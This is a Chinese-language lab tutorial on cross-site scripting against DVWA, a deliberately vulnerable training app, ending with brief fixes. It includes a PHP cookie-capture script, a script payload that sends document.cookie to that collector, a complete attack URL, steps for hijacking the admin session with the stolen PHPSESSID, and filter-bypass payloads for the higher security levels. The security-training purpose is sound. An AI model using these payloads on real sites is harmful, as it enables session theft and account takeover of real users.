概念
- 跨站腳本
- 客戶端代碼注入,通常注入代碼是JavaScript,區別於命令注入,SQL注入等服務器端代碼注入
- 三種XSS
存儲型 | 反射型 | DOM型 |
---|---|---|
攻擊代碼在數據庫裏 | 攻擊代碼在url裏 | 攻擊代碼在url裏 |
輸出在HTTP響應中 | 輸出在HTTP響應中 | 輸出在DOM節點中 |
CSRF 和 XSS 的區別
- 如何用簡潔生動的語言說明 XSS 和 CSRF 的區別? - 李上天的回答 - 知乎
https://www.zhihu.com/question/34445731/answer/86381916
準備
- Firefox,DVWA,HackBar
破解過程(反射型)
攻擊思路
- 用戶登錄被攻擊的WEB服務器
- 攻擊者發送攻擊url(包含攻擊js)給用戶,url的域名一定是被攻擊的WEB服務器
- 誘騙用戶點擊訪問該url,被攻擊的WEB服務器對攻擊js做出迴應
- 用戶瀏覽器執行js腳本,發送會話信息給攻擊者的WEB服務器,達到跨站目的
- 攻擊者獲取會話信息
- 劫持使用用戶身份登錄到被攻擊的web服務器,可以進行任意操作
low等級
手動方式
- 打開反射型XSS漏洞頁面,輸入xss,點擊提交查看頁面提示
- 嘗試輸入
<xss>
,點擊提交,F12查看頁面元素,似乎能注入HTML標籤 - 彈窗測試(xss最普遍的證明和測試的方法):
<script>alert(/xss/)</script>
,F12查看頁面元素,成功注入JavaScript腳本,說明存在XSS漏洞 - 攻擊者WEB設計:
http://127.0.0.1/cookie.php
,新建一個 cookie.php 文件<?php $cookie = $_GET['cookie']; #將get請求參數cookie存儲在cookie變量裏 file_put_contents('cookie.txt',$cookie); #將偷取到的用戶cookie寫到cookie文件中 ?>
- 構造攻擊js:
location函數將頁面內容定位到指定的位置,指定位置參數爲剛剛新建的cookie文件, document.cookie賦值給這個php的cookie參數,cookie值最終會出現在cookie.txt中<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie; </script>
- 構造併發送攻擊url,將剛剛構造好的js腳本寫到存在漏洞的網址後面
http://192.168.2.150/DVWA-1.9/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
此時訪問不會成功,還需用用HackBar的URLencode對js腳本進行編碼 - 點擊後cookie.txt有了內容,內容爲DVWA的登錄cookie信息,PHPSESSID爲用戶的登錄憑證
- 劫持用戶會話,攻擊者訪問DVWA網站(之前用192,這裏用127),用修改cookie的編輯PHPSESSID爲劫持到的用戶憑證,修改瀏覽器地址login爲index,成功以admin的身份進入
medium等級
- low等級方法失效,服務器過濾了script標籤
- 方法一:用嵌套的方法:
<scr<script>ipt>
- 方法二:大小寫混合:
<ScRiPt>
high等級
- 上述方法全部失效
- img標籤也可以插入xss代碼:
<img src=x onerror=alert(1)>
- iframe標籤,可以在一個HTML中嵌入另一個HTML內容:
<iframe onload=alert(1)>
impossible等級
- 利用htmlspecialchars函數HTML編碼指定的字符,默認不編碼
'
,需要加上ENT_QUOTES參數纔會編碼
破解過程(存儲型)
- 前端限制輸入長度,繞過前端直接發送name和message參數
- 攻擊過程與反射型基本一致
- 存儲型是直接寫入數據庫中的,因此會一直存在,可以點擊Creat/Reset Database重置數據庫
修復
- 輸入過濾:白名單
- 輸出過濾:HTML編碼,JS轉義